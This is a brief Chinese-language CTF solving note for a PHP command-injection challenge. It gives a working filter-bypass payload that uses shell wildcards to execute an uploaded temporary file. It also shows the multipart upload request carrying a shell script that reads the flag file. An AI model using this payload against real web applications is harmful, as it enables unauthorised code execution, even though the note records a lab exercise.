小白做题笔记
F12看到有个cmd GET 参数 随便给个参数回显代码 ?cmd=1
抓 from-data 这个包 post打开里面先不给参数
?p <>`;没有过滤
构造payload: ?cmd=?><?=`.+/??p/p?p??????`;
------WebKitFormBoundaryAAfBDC78GR9hTTBB
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
------WebKitFormBoundaryAAfBDC78GR9hTTBB--
改这几处地方